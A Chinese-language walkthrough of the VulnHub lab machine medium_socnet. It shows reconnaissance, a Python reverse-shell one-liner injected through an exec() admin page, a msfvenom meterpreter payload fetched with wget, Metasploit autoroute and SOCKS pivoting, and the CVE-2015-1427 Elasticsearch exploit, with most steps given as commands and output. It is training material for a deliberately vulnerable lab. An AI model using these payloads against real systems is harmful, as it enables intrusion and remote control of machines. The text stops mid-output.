靶機: medium_socnet

2022-10-22 06:01:22

靶機: medium_socnet

準備工作

需要你確定的事情:

  • 確定 kali 已經安裝,並且能正常使用【本文不涉及 kali 安裝設定】
  • VirtualBox 以前能正常匯入虛擬檔案 ova 能正常使用
  • 下載靶機: https://www.vulnhub.com/entry/boredbackerblog-social-network,454/ 如果下載過慢可以使用下載器【迅雷、Mortrix ...】,下載後需要進行 SHA1 或 MD5 驗證 確定下載檔案是否 有損或被篡改

靶機安裝時部分錯誤解決方法【注:安裝於 VirtualBox 】

  • 網路設定為 僅主機模式 (Host-only)

  • 使用 VirtualBox 啟動虛擬機器器系統時碰到「不能為虛擬電腦開啟一個新的任務」的錯誤提示,並提示 Implementation of the USB 2.0 controller not found!

    Implementation of the USB 2.0 controller not found!
    
    Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings.
    
    Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
    

    解決方法是在 設定 --> USB裝置: 「USB 1.1 控制器」

Kali 網路設定:

  • kali 在 VMware 上設定雙網路卡:橋接模式 + NAT模式;使用 VMware 虛擬網路編輯器【以管理員身份開啟】:將橋接模式的網路卡 VMnet0 的橋接(G) 到 VirtualBox 網路卡

    • 網路介面卡1:設定為橋接模式
    • 網路介面卡2:NAT模式
  • kali 在 VirtualBox 上設定雙網路卡:Host-only模式 + NAT模式;在 kali 的設定中網路選項

    • 網路卡1:Host-only模式 (僅主機模式)
    • 網路卡2:NAT模式

    兩種位置,最後都要開啟 kali 進行偵錯,如果不會 vim 先檢視一下使用方法避免錯誤操作

    # 在命令列,使用前確定你是否是 root 如果不是需要新增 sudo
    vim /etc/network/interfaces
    

    vim 寫入內容【 interfaces 檔案最後】

    auto eth1
    iface eth1 inet dhcp
    

    退出 vim 後在 命令列中

    # 重啟網路服務
    service networking restart
    
    # 檢視網路設定,確認 eth0 與 eth1 的 ip 設定是否正常
    ip a
    

    如果在 ip a 有部分問題可以重啟 kali 再檢視,如果網路設定依舊有問題,建議學習一下 Linux 網路設定的基本知識

開始打靶

第一步:鎖定目標

可以使用 arp-scan 一類掃描工具,在使用工具前都需要 注意自身許可權問題 ,必要時使用 sudo

  • arp-scan: 使用命令 arp-scan -l 掃描

    • 此命令是預設掃描,通過 eth0 進行的,如果你設定網路時 kali 與 靶機對接的網路是 eth1 需要指定掃描的介面 使用 --interface= 引數,此引數可以簡寫 I

      arp-scan -l --interface=eth1
      
      # 或者
      arp-scan -l -I eth1
      

通過 arp-scan 掃描得到資訊:

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
Interface: eth1, type: EN10MB, MAC: 08:00:27:f1:f5:a6, IPv4: 192.168.56.103
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:ef:45:40       PCS Systemtechnik GmbH
192.168.56.101  08:00:27:ff:2c:c8       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.294 seconds (111.60 hosts/sec). 3 responded                                                              

第二步:埠掃描

我們可以大概鎖定以下目標,使用 nmap 進行對埠進行探索

192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:ef:45:40       PCS Systemtechnik GmbH
192.168.56.101  08:00:27:ff:2c:c8       PCS Systemtechnik GmbH
  • nmap: 比較簡單的用法 nmap IP地址

    • 引數 -p 掃描埠,如果是全部埠使用 - 指代,比如:nmap -p- 192.168.56.101
    • 引數 -sV 對埠上的服務程式版本進行掃描

在掃描中發現 192.168.56.101 開發埠 22,5000

┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:24 CST
Nmap scan report for 192.168.56.101
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds

192.168.56.101 開發埠 22,5000 進一步掃描發現兩個埠的服務程式版本

  • 22: ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
  • 5000: http Werkzeug httpd 0.14.1 (Python 2.7.15)
┌──(kali㉿kali)-[~]
└─$ nmap -p22,5000 -sV 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:31 CST
Nmap scan report for 192.168.56.101
Host is up (0.00078s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds      

其中 5000 有 http 服務可以嘗試在瀏覽器中存取一下 http://192.168.56.101:5000

  • 在網頁中並沒有什麼特別的,唯一有的一個資料輸入點上也不能注入
  • 可以使用爬蟲類程式,探查 Web 應用是否存在 隱藏路徑

第三步:攻擊方式判斷

使用工具 dirsearch 進行探查

  • dirsearch 的基本引數 --url=,比如:dirsearch --url=http://192.168.56.101:5000/

使用 dirsearch 進行簡單探查發現隱藏目錄 /admin 其中 admin 英文含義就可以知道這個隱藏頁面與管理員可能有關係,可以對其存取 http://192.168.56.101:5000/admin

┌──(kali㉿kali)-[~]
└─$ dirsearch --url=http://192.168.56.101:5000/                                                                               130 ⨯

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                    
 (_||| _) (/_(_|| (_| )                                                                                                             
                                                                                                                                    
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/192.168.56.101-5000/-_22-10-18_11-40-29.txt

Error Log: /home/kali/.dirsearch/logs/errors-22-10-18_11-40-29.log

Target: http://192.168.56.101:5000/

[11:40:29] Starting: 
[11:40:58] 200 -  401B  - /admin                                            
                                                                             
Task Completed                                                                                                                      

存取後發現,裡面的提示 Nothing was ran. Input some code to exec() 此內容與 python 相關,在前面埠探測中也知道此網站是 Werkzeug httpd 0.14.1 (Python 2.7.15)

而 Python 2.7.15 的 exec() 常用於儲存在字串中的程式碼語句執行,那麼我們可以嘗試查詢關於 Python 2.7.15 反彈 shell 的程式碼,通過 exec() 進入 192.168.56.101 這臺機器了

  • Python 2.7.15 反彈 shell

    • 首先我們需要開啟 kali 的監聽,監聽可以使用命令 netcat 也可以使用簡化命令 nc

      netcat 部分引數

      • -l 偵聽模式,用於入站連線
      • -n 禁止名稱/埠解析
      • -p 埠本地埠號,埠號可以是單獨的,也可以是範圍
      • -v 資訊細化,連用兩次可以獲得更詳細的資訊
      # 使用埠注意,建議使用埠是 1024~49151 範圍以內
      # 公認埠:0~1023
      # 註冊埠:1024~49151
      # 動態埠:49152~65535
      netcat -lnvp 23333
      
    • http://192.168.56.101:5000/admin 頁面內容注入 python 程式碼

      import os,subprocess,socket
      
      # 建立通訊端 
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)      # socket.AF_INET代表使用IPv4協定,socket.SOCK_STREAM 代表使用面向流的Tcp協定
      
      # 建立通訊
      s.connect(('192.168.56.103',23333))
      
      # 重定向,保障通訊的輸入與輸出
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1)
      os.dup2(s.fileno(),2)
      
      # 生成反彈的 shell 
      p=subprocess.call(["/bin/sh","-i"])
      
      # 使用時壓縮上面的程式碼,以便 exec() 執行
      import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.103',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
      

    最終得到響應的反射 shell 結果,從此處我們就可以控制 192.168.56.101 這臺機器了,並且有 root 級別許可權

    ┌──(kali㉿kali)-[~]
    └─$ netcat -lnvp 23333
    listening on [any] 23333 ...
    connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
    /app # ls
    Dockerfile
    main.py
    requirements.txt
    templates
    /app # id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
    

但我們還需要進一步深入探索,排除是否處在容器或蜜罐陷阱中

內網滲透

挖掘潛在價值

首先探索一下目錄內容,檢視是否有什麼特別的

┌──(kali㉿kali)-[~]
└─$ netcat -lnvp 23333
listening on [any] 23333 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
/app # ls
Dockerfile
main.py
requirements.txt
templates
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # cat ./Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY . /app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"]

發現其中有 Dockerfile 檔案,檢視裡面的 發現我們可能處在容器中

  • 檢視根目錄中是否存在 .dockerenv 檔案
  • 檢視 /proc/1/cgroup 中的內容是否大量與 docker 有關
/app # ls /.dockerenv
/.dockerenv
/app # cat /proc/1/cgroup
11:hugetlb:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
10:perf_event:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
9:blkio:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
8:freezer:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
7:devices:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
6:memory:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
5:cpuacct:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
4:cpu:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
3:cpuset:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
2:name=systemd:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca

自此已經有相當大的把握確定我們處在容器中

服務代理

內網流量代理

  • 正向代理 (Forward Proxy) 通常應用在目標有防火牆或者不出網,我們能存取它的情況下:Client -> proxy -> Target
  • 反向代理 (Reverse Proxy) 通常應用在目標有防火牆或者不允許外界存取,但是它們能存取我們的情況下:Client <--> proxy <--> firewall <--> Target

代理需要關注 Socks 協定,代理工具一般的版本支援

  • SOCKS4: 支援TELNET、FTPHTTP等TCP協定
  • SOCKS5: 支援TCP與UDP,並支援安全認證方案

代理工具

  • 埠轉發工具:NC, LCX, regGorg, venom, ngrock ...
  • 代理鏈工具:proxychains(Linux), proxifier(windows) ...

MSF 內網穿透

本處我們使用 MSF 進行內網穿透,如果沒有 kali 安裝命令 sudo apt-get install metasploit-framework

  • 首頁使用 msfvenom 生成 linux/x64/meterpreter/reverse_tcp 模組的木馬

    msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.56.103 lpost=4444 -f elf -o s.elf
    
  • 上傳生成的木馬 shell.elf 通過在本地當前目錄【shell.elf 所在的目錄】使用 python3 -m http.server 80 掛起一個 HTTP 服務

  • 在目標容器系統中使用 wget 命令 [wget httlp://kali的ip地址/shell.elf] 下載原生的 shell.elf 之後使用 ls 命令確認其存在

  • 在 kali 上使用 msfconsole 命令後執行下列程式碼 > 掛起kali本地自己 192.168.56.103:4444 的監聽

    msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
    payload => linux/x64/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.56.103
    lhost => 192.168.56.103
    msf6 exploit(multi/handler) > set lport 4444
    lport => 4444
    msf6 exploit(multi/handler) > run
    
  • 在目標容器系統中改 shell.elf 檔案許可權,使其可以執行並將其執行,也可以 chmod +x ./shell.elf && ./shell.elf 之後檢視 kali 是否響應

    /app # chmod +x ./shell.elf
    /app # ./shell.elf
    

在響應後使用 shell 呼叫目標容器系統 shell 進行簡單的探查,比如使用 ip a 檢視目標容器系統的內網狀態,確定其內網網段 172.17.0.3/16 後使用 exit; 退出

```txt
[*] Started reverse TCP handler on 192.168.56.103:4444 
[*] Sending stage (3045348 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.103:4444 -> 192.168.56.101:36424) at 2022-10-19 17:38:38 +0800

meterpreter > shell
Process 18 created.
Channel 1 created.

ls
Dockerfile
main.py
requirements.txt
shell.elf
templates
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
6: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
    valid_lft forever preferred_lft forever
exit
```
  • 將獲取的網段 172.17.0.3/16 -> 172.17.0.0/16 新增路由 run autoroute -s 172.17.0.0/16 命令,檢視是否成功新增 run autoroute -p

    meterpreter > run autoroute -s 172.17.0.0/16
    
    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    [*] Adding a route to 172.17.0.0/255.255.0.0...
    [+] Added route to 172.17.0.0/255.255.0.0 via 192.168.56.101
    [*] Use the -p option to list all active routes
    meterpreter > run autoroute -p
    
    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    
    Active Routing Table
    ====================
    
    Subnet             Netmask            Gateway
    ------             -------            -------
    172.17.0.0         255.255.0.0        Session 1
    
  • 建立成功之後我們將當前的對談掛起,使用 background 是將當前 msf 對談掛起,想重新利用對談使用 sessions -i 其中 i 是對談編號

    meterpreter > background
    [*] Backgrounding session 1...
    

好的,我們已經完成了最重要的一般,接下來是 socks 代理

  • 繼續前面的,使用 use auxiliary/server/socks_proxy 進入代理模組

    • 設定服務版本 set VERSION 4a
    • 設定 IP set SRVHOST Kali的IP
    • 檢視設定是否正確 show options
    • 收尾 exploit
    msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
    msf6 auxiliary(server/socks_proxy) > set VERSION 4a
    VERSION => 4a
    msf6 auxiliary(server/socks_proxy) > set SRVHOST 192.168.56.103
    SRVHOST => 192.168.56.103
    msf6 auxiliary(server/socks_proxy) > show options
    
    Module options (auxiliary/server/socks_proxy):
    
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    SRVHOST  192.168.56.103   yes       The local host or network interface to listen on. This must be an address on the l
                                        ocal machine or 0.0.0.0 to listen on all addresses.
    SRVPORT  1080             yes       The port to listen on
    VERSION  4a               yes       The SOCKS version to use (Accepted: 4a, 5)
    
    
    Auxiliary action:
    
    Name   Description
    ----   -----------
    Proxy  Run a SOCKS proxy server
    
    
    msf6 auxiliary(server/socks_proxy) > exploit
    [*] Auxiliary module running as background job 0.
    
    [*] Starting the SOCKS proxy server
    
  • 下一步,設定本地 proxychains 代理鏈工具【先確定是否安裝,推薦使用新的 proxychains4】,上面的 shell 不用關閉,再開一個 kali 的 shell 並且在新的命令列使用命令,設定 proxychains 的代理列表新增 socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]

    touch proxychains.conf      # 建立目錄級的 proxychains 組態檔,我們不汙染系統級的組態檔
    sudo cat /etc/proxychains4.conf > ./proxychains.conf    # 將系統級的組態檔復刻到當前目錄的組態檔 proxychains.conf
    vim ./proxychains.conf      # 只需要修改最後一行 socks4 127.0.0.1 9050 改為 socks4 192.168.56.103 1080
    
  • 完成整個代理步驟後可以通過 proxychainsproxychains4 作為其他命令字首探索內網,但我們使用的是目錄級 proxychains 組態檔實驗需要使用 -f 引數指定組態檔

    proxychains4 -f ./proxychains.conf nmap -Pn -sT 172.17.0.0/24   # 172.17.0.0/24 是目標容器系統的內網網段,掃描過程中可能會比較費時【段掃描數量太大】
    

    我們使用之前 msf 的那個 shell 執行 sessions -1 回到之前的掛起的對談,使用 arp a 簡單說明判斷其他存活的 ip

    meterpreter > arp -a
    
    ARP cache
    =========
    
        IP address  MAC address        Interface
        ----------  -----------        ---------
        172.17.0.1  02:42:e9:66:7d:b6
    

    用 proxychains 的那個 shell 執行 nmap 掃描 172.17.0.1

    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains4 -f ./proxychains.conf nmap 172.17.0.1 
    [proxychains] config file found: ./proxychains.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 19:15 CST
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:80 <--denied
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:25 <--denied
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:993 <--denied
    ......
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:555 <--denied
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:2047 <--denied
    Nmap scan report for 172.17.0.1
    Host is up (0.0074s latency).
    Not shown: 998 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    5000/tcp open  upnp
    
    Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
    

開始正餐

行好,我們已經可以在目標容器內網使用 kali 了,下面我們真正的目標發起攻擊

┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -p22,5000 -Pn -sT -sV 172.17.0.1                                         255 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:24 CST
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:22  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:22  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
Nmap scan report for 172.17.0.1
Host is up (0.033s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds                                   
  • 發現與我們之前的目標容器非常相似,我們可以使用 firefox 設定代理存取 http://172.17.0.1:5000 瀏覽器代理方法自行百度,重點使用手動設定代理設定 SOCKS 主機 與前面 proxychains.conf 一致
  • 存取網頁的結果與之前的相同,可以判斷 172.17.0.1 便是之前 192.168.56.101 的宿主機

測試探索 172.17.0.2

┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -Pn -sT -sV 172.17.0.2                                                   130 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:39 CST
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:1720 <--denied
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:1025 <--denied
......
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:9200  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:9200  ...  OK
Nmap scan report for 172.17.0.2
Host is up (0.0066s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
9200/tcp open  http    Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.58 seconds
  • 發現新線索,172.17.0.2 的 9200 埠開啟,執行服務 Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2) 說明:Elasticsearch 是位於 Elastic Stack 核心的分散式搜尋和分析引擎

  • 此處我們可以使用 searchsploit 查詢 Elasticsearch 相關漏洞並嘗試,攻入其中

    ──(kali㉿kali)-[~/Workspace]
    └─$ searchsploit Elasticse                                                                                           130 ⨯
    ----------------------------------------------------------------------------------------- ---------------------------------
    Exploit Title                                                                           |  Path
    ----------------------------------------------------------------------------------------- ---------------------------------
    ElasticSearch - Remote Code Execution                                                    | linux/remote/36337.py
    ElasticSearch - Remote Code Execution                                                    | multiple/webapps/33370.html
    ElasticSearch - Search Groovy Sandbox Bypass (Metasploit)                                | java/remote/36415.rb
    ElasticSearch 1.6.0 - Arbitrary File Download                                            | linux/webapps/38383.py
    ElasticSearch 7.13.3 - Memory disclosure                                                 | multiple/webapps/50149.py
    ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal                                    | php/webapps/37054.py
    ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit)                     | java/remote/33588.rb
    Elasticsearch ECE 7.13.3 - Anonymous Database Dump                                       | multiple/webapps/50152.py
    ----------------------------------------------------------------------------------------- ---------------------------------
    Shellcodes: No Results             
    
  • 嘗試一個 /usr/share/exploitdb/exploits/linux/remote/36337.py 但注意是否安裝 python2 以及其 requests 如果沒有使用以下程式碼

    sudo apt-get install python2    # 安裝 python2
    wget https://bootstrap.pypa.io/pip/2.7/get-pip.py && python2 get-pip.py     # 安裝 python2 的 pip2 如果有就跳過此步
    python2 -m pip install requests     # 安裝 requests 包
    proxychains4 -f ./proxychains.conf python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2  # 利用 36337.py 指令碼
    

    進入其中

    ──(kali㉿kali)-[~/Workspace]
    └─$ proxychains4 -f ./proxychains.conf python2 36337.py 172.17.0.2
    [proxychains] config file found: ./proxychains.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    
    ▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓                                
    ▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒                                
    ▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░                                
    ▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░                                
    ░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒                            
    ░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░                            
    ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░                            
    ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░                               
    ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░                            
                                                ░                                                                            
    Exploit for ElasticSearch , CVE-2015-1427   Version: 20150309.1                                                           
    {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
    ~$ 
    

    可以看到下面報錯了,檢視錯誤是 ElasticSearch Groovy 沙盒繞過 && 程式碼執行漏洞(CVE-2015-1427) 想要要利用需要先查詢時至少要求es中有一條資料,所以傳送如下封包,增加一個資料

    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains python2 a.py 172.17.0.2                                               
    [proxychains] config file found: /etc/proxychains4.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    
    ▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓                         
    ▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒                         
    ▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░                         
    ▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░                         
    ░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒                     
    ░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░                     
    ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░                     
    ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░                        
    ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░                     
                                                ░                                                                     
    Exploit for ElasticSearch , CVE-2015-1427   Version: 20150309.1                                                    
    {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
    ~$ id
    [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:9200  ...  OK
    uid=0(root) gid=0(root) groups=0(root)
    ~$ 
    
    

    使用 curl 在 Elasticsearch 新增一條資料 curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'

    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'                          1 ⨯
    [proxychains] config file found: /etc/proxychains4.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:9200  ...  OK
    {"_index":"doc","_type":"test","_id":"AYP5xrq3R3Be1eJ72Xz3","_version":1,"created":true}                                       
    
    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains python2 a.py 172.17.0.2                                               
    [proxychains] config file found: /etc/proxychains4.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    
    ▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓                         
